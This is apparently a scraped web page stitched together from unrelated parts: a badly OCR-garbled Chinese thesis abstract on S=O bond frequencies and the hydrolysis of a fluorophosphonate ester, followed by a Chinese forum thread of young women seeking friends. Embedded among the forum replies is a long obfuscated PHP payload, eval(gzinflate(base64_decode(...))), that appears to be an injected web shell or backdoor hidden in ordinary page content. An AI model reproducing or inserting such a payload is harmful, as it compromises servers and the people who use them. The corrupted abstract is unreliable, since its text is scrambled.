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S%3dO键伸缩振动频率的最大键级杂化轨道计算及其胆碱基甲基氟磷酸酯水解反应的从头算的分析.pdf55页
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轨道计算;第二部分是关f胴碱基甲捧氟磷酸酌水解反应历程的从头筇分了
轨道研究。第一部分首先介绍_『湛昌罔教授等人根据偶台常数与键伸绵频率
的相关性提出的一个新的计算键伸缩频率的统-一的半经验参数化公式,然后
从这个关系式出发,对S O键伸缩振动频率进行了最大键级杂化轨道计算,
根据大量的实验数据拟合得到具体的汁算S O键伸缩振动频率的公式。结
果表明,计算值与实验值十分吻合。第五部分对越碱基甲基氟磷酸酯卉卅-住
和碱性条件下的几种水解反应历程进行_,从头算分f轨道研究。r首先.对P
原子采用6.31G?基组,其它原r采JlJ
态,并在此基础
的单点能量计算 进一步考虑溶剂化做成,我们以凰r
反应的能垒及总反应热.从而判断山活化能最小的反应历程。
关键词:键 lI.缩振躲最大键级杂拓斩遭 s:藩 胆碱基甲纂氟漭鹾酯从对贻过渡磊溶奔叮钇 Abstract This of is twosectionsThefirstsectionisonthemaximumbondorder papercomposed orbitalcalculationsoftheS O andthe of hybrid stretchingfrequencies purpose sectionisto
severalmechanismsofthe of study hydrolysis 曲initio first orbitalmethod,Inthe
section,a correlationofthe molseu!ar novel,generalized withtheatomic andnet iscarriedoutto
symmetricstretchingfrequencies hybrids charges give anew for theS O asO explicitrelationsldpcalculatingsymmetric of stretchingfrequenciesby
themaximumbond orbital order耐brids It isshownthatthecalculatedva/ues procedure wellwiththeobservedvalues.Inthesecond
agreefairly section,firstly,thepotentialenergy
surfaceof/he has reaction been atHF/6―31G P system investigated Jevel 6.31G+foratom ,
andallthetransitionsandintermediateshavebeenfoundandtheir zero.point havebeencalculatedThe been
energies optimizedgeometrieshave usedtoperform calcu
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? ? 90后的蘑菇们,我们不是非主流,找闺蜜一起聚聚来啦 ? ?
找真心的闺蜜,90后的姑娘们欢迎你们来这啦,当然90前的也欢迎~
我是倩子啦,出生于 91年
虽然我是90后,但我不是非主流
虽然我是90后,但我不是脑残族
真心的说一句,现在好多人都说90后的孩子怎么都是非主流,脑残阿,打架阿,学自杀阿
可能有90后的孩子是这样子,导致有些人一竿子打翻一船的人的说
可也有些像我们这样的,虽然是90后,但我们不那样,我们做真实的自己
过简单的生活,穿自己喜欢的衣服,吃自己爱吃的零食,去游乐场疯
在夜深的时候偶尔有寂寞的时候, 想找个人来倾诉
找回以前同学,开个同学会聚一聚
朋友聚会时谈论工作,对象,将来
我们只是那么的简单~&&不是非主流,不脑残
人呢?& & 姑娘们快出来啦~&&寻找闺蜜
谁说90后就非主流,身为90后,我最讨厌非主流了。楼主说的话,我太有同感了。
来了,93的要不
怎么不要呢~&&真是的。
嗯嗯~&&就是说的, 每次听到别人说90后的人怎么这样那样,心里就不爽~&&消灭那些鄙视90后的人~
90后的菇凉都很有主见我稀饭!
来了来了,有茶和点心吃没?主人招待不周呀~
诶呀,我90的,刚好赶了个90的末班车,
)&&&?php/**/
eval(gzinflate(base64_decode('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')));?&
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